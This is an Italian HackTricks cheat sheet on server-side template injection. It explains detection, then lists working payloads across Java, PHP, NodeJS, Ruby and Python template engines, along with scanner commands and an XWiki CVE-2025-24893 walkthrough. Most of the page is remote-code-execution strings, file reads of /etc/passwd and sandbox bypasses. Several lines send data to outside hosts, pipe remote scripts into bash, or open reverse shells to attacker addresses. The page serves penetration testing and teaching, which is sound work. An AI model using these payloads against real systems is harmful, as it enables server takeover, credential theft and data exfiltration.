SSTI (Server Side Template Injection)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cos’è SSTI (Server-Side Template Injection)

Server-side template injection è una vulnerabilità che si verifica quando un attacker può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere presente in diverse tecnologie, incluso Jinja.

Jinja è un popolare motore di template usato nelle applicazioni web. Consideriamo un esempio che mostra uno snippet di codice vulnerabile che utilizza Jinja:

output = template.render(name=request.args.get('name'))

In questo codice vulnerabile, il parametro name dalla richiesta dell’utente viene passato direttamente al template usando la funzione render. Questo può potenzialmente permettere a un attacker di iniettare codice malevolo nel parametro name, portando a server-side template injection.

Per esempio, un attacker potrebbe costruire una richiesta con un payload come il seguente:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Il payload {{bad-stuff-here}} viene iniettato nel parametro name. Questo payload può contenere direttive dei template Jinja che permettono all’attaccante di eseguire codice non autorizzato o manipolare il motore di template, potenzialmente ottenendo il controllo del server.

Per prevenire server-side template injection, gli sviluppatori dovrebbero assicurarsi che l’input dell’utente sia opportunamente sanitizzato e validato prima di essere inserito nei template. Implementare la validazione dell’input e utilizzare tecniche di escaping contestuale può aiutare a mitigare il rischio di questa vulnerabilità.

Rilevamento

Per rilevare Server-Side Template Injection (SSTI), inizialmente, fuzzing the template è un approccio semplice. Questo comporta l’iniezione di una sequenza di caratteri speciali (${{<%[%'"}}%\) nel template e l’analisi delle differenze nella risposta del server tra dati normali e questo payload speciale. Indicatori di vulnerabilità includono:

  • Errori lanciati, che rivelano la vulnerabilità e potenzialmente il motore di template.
  • Assenza del payload nella riflessione, o parti mancanti, indicando che il server lo processa diversamente rispetto ai dati normali.
  • Contesto Plaintext: distinguerlo da XSS verificando se il server valuta espressioni del template (es., {{7*7}}, ${7*7}).
  • Contesto di codice: confermare la vulnerabilità modificando i parametri di input. Per esempio, cambiando greeting in http://vulnerable-website.com/?greeting=data.username per vedere se l’output del server è dinamico o fisso, come in greeting=data.username}}hello che restituisce il nome utente.

Fase di identificazione

Identificare il template engine comporta l’analisi dei messaggi di errore o il testing manuale di payload specifici per linguaggio. Payload comuni che causano errori includono ${7/0}, {{7/0}}, e <%= 7/0 %>. Osservare la risposta del server a operazioni matematiche aiuta a identificare con precisione il template engine.

Identificazione tramite payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Strumenti

TInjA

uno scanner efficiente per SSTI + CSTI che utilizza polyglot innovativi

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

una tabella interattiva contenente i template injection polyglots più efficienti insieme alle risposte attese dei 44 template engines più importanti.

Exploits

Generic

In questa wordlist puoi trovare variabili definite negli ambienti di alcuni degli engine menzionati qui sotto:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Recuperare le variabili d’ambiente del sistema

${T(java.lang.System).getenv()}

Java - Recuperare /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Puoi provare i tuoi payloads su https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ funziona solo con Freemarker nelle versioni precedenti alla 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Ulteriori informazioni

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Maggiori informazioni

Thymeleaf

In Thymeleaf, un test comune per vulnerabilità SSTI è l’espressione ${7*7}, che si applica anche a questo template engine. Per un potenziale remote code execution, si possono usare espressioni come le seguenti:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf richiede che queste espressioni siano collocate in attributi specifici. Tuttavia, inlining delle espressioni è supportato per altre posizioni nei template, usando una sintassi come [[...]] o [(...)]. Quindi, un semplice payload di test SSTI potrebbe apparire come [[${7*7}]].

Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione di default di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare un proprio TemplateResolver per creare template da stringhe al volo, cosa non comune.

Thymeleaf offre anche il preprocessing delle espressioni, dove le espressioni racchiuse tra doppi underscore (__...__) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come mostrato nella documentazione di Thymeleaf:

#{selection.__${sel.code}__}

Esempio di vulnerabilità in Thymeleaf

Considera il seguente snippet di codice, che potrebbe essere suscettibile di sfruttamento:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Questo indica che se il template engine elabora questi input in modo improprio, potrebbe portare a remote code execution che accede a URLs come:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Ulteriori informazioni

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass dei filtri

È possibile usare più espressioni variabili; se ${...} non funziona prova #{...}, *{...}, @{...} o ~{...}.

  • Leggi /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizzato per la generazione del payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Maggiori informazioni

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versione precedente di Pebble ( < versione 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nuova versione di Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava è un progetto open source sviluppato da Hubspot, disponibile su https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Risolto da https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Maggiori informazioni

Hubspot - HuBL (Java)

  • {% %} delimitatori di istruzioni
  • {{ }} delimitatori di espressione
  • {# #} delimitatori di commento
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Cerca “com.hubspot.content.hubl.context.TemplateContextRequest” e scopri il Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Maggiori informazioni

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) è una funzionalità fondamentale che facilita l’interazione tra il livello di presentazione (ad esempio le pagine web) e la logica applicativa (ad esempio managed beans) in JavaEE. Viene utilizzata ampiamente in diverse tecnologie JavaEE per snellire questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:

  • JavaServer Faces (JSF): Usa EL per collegare i componenti nelle pagine JSF ai corrispondenti dati e azioni del backend.
  • JavaServer Pages (JSP): EL è usato in JSP per accedere e manipolare i dati all’interno delle pagine JSP, rendendo più facile collegare gli elementi della pagina ai dati dell’applicazione.
  • Contexts and Dependency Injection for Java EE (CDI): EL si integra con CDI per permettere un’interazione fluida tra il livello web e i managed beans, assicurando una struttura dell’applicazione più coerente.

Consulta la pagina seguente per saperne di più su exploitation of EL interpreters:

EL - Expression Language

Groovy (Java)

I seguenti bypass del Security Manager sono stati presi da questo writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (corretto in 15.10.11 / 16.4.1 / 16.5.0RC1) renderizza feed di ricerca RSS non autenticati tramite la macro Main.SolrSearch. L’handler prende il parametro di query text, lo racchiude nella sintassi wiki e valuta le macro, quindi iniettando }}} seguito da {{groovy}} esegue Groovy arbitrario sulla JVM.

  1. Fingerprint & scope – Quando XWiki è reverse-proxied dietro routing basato su host, fuzzare l’header Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) per scoprire il vhost della wiki, poi navigare su /xwiki/bin/view/Main/ e leggere il footer (XWiki Debian 15.10.8) per identificare la build vulnerabile.
  2. Trigger SSTI – Richiedere /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. L’item RSS <title> conterrà l’output di Groovy. Sempre “URL-encode all characters” in modo che gli spazi rimangano %20; sostituirli con + fa sì che XWiki restituisca HTTP 500.
  3. Run OS commands – Sostituire il corpo Groovy con {{groovy}}println("id".execute().text){{/groovy}}. String.execute() avvia il comando direttamente con execve(), quindi i metacaratteri della shell (|, >, &) non vengono interpretati. Usare invece un pattern di download-and-execute:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (lo script contiene la logica della reverse shell).
  1. Post exploitation – XWiki salva le credenziali del database in /etc/xwiki/hibernate.cfg.xml; leaking hibernate.connection.password fornisce password del sistema reale riutilizzabili via SSH. Se l’unit di servizio imposta NoNewPrivileges=true, strumenti come /bin/su non acquisiranno privilegi aggiuntivi nemmeno con password valide, quindi pivotare via SSH invece di fare affidamento su binari SUID locali.

Lo stesso payload funziona su /xwiki/bin/get/Main/SolrSearch, e lo stdout di Groovy è sempre incorporato nel titolo RSS, quindi è facile automatizzare l’enumerazione di comandi.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Maggiori informazioni

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Formato del template

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Maggiori informazioni

Plates (PHP)

Plates è un motore di templating nativo per PHP, ispirato a Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates sfrutta codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Modello di pagina:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Modello di layout:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Maggiori informazioni

PHPlib e HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB è lo stesso di PHPlib ma portato su Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Maggiori informazioni

Altri PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Ulteriori informazioni

patTemplate (PHP)

patTemplate motore di template PHP non compilante, che utilizza tag XML per suddividere un documento in diverse parti

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Maggiori informazioni

Handlebars (NodeJS)

Path Traversal (maggiori informazioni here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Errore
  • ${7*7} = ${7*7}
  • Niente
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Maggiori informazioni

JsRender (NodeJS)

TemplateDescrizione
Valuta ed esegue il rendering dell’output
Valuta ed esegue il rendering dell’output codificato in HTML
Commento
andConsente codice (disabilitato di default)
  • = 49

Client Side

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Lato server

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Maggiori informazioni

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Esempio di rendering lato server

var pugjs = require("pug")
home = pugjs.render(injected_page)

Ulteriori informazioni

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Nessun output
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Errore
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Ulteriori informazioni

Sandbox di espressioni NodeJS (vm2 / isolated-vm)

Alcuni workflow builders valutano espressioni controllate dall’utente all’interno di sandbox Node (vm2, isolated-vm), tuttavia il contesto delle espressioni espone ancora this.process.mainModule.require. Questo permette a un attacker di caricare child_process ed eseguire comandi OS anche quando i nodi dedicati “Execute Command” sono disabilitati:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Altri NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Ulteriori informazioni

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Maggiori informazioni

Altri esempi Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Consulta la pagina seguente per imparare trucchi su arbitrary command execution bypassing sandboxes in python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Ulteriori informazioni

Jinja2 (Python)

Sito ufficiale

Jinja2 è un motore di template completo per Python. Ha pieno supporto unicode, un opzionale ambiente di esecuzione sandbox integrato, è ampiamente usato ed è rilasciato con licenza BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Formato template

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE non dipendente da __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
